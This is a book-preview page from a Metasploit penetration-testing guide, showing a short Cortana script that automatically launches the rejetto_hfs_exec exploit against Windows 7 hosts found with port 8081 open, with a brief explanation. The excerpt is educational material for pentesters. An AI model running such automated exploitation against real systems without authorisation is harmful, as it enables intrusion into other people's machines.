O'Reilly logo

Metasploit Revealed: Secrets of the Expert Pentester by Nipun Jaswal, Sagar Rahalkar

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

The fundamentals of Cortana

Scripting a basic attack with Cortana will help us understand Cortana with a much wider approach. So, let's see an example script that automates the exploitation on port 8081 for a Windows operating system:

on service_add_8081 { 
        println("Hacking a Host running $1 (" . host_os($1) . ")"); 
        if (host_os($1) eq "Windows 7") { 
                exploit("windows/http/rejetto_hfs_exec", $1, %(RPORT => "8081")); 
        } 
} 

The preceding script will execute when Nmap or MSF scan finds port 8081 open. The script will check if the target is running on a Windows 7 system upon which Cortana will automatically attack the host with the rejetto_hfs_exec exploit on port 8081.

In the preceding script, $1 specifies the IP address of the host. print_ln prints ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required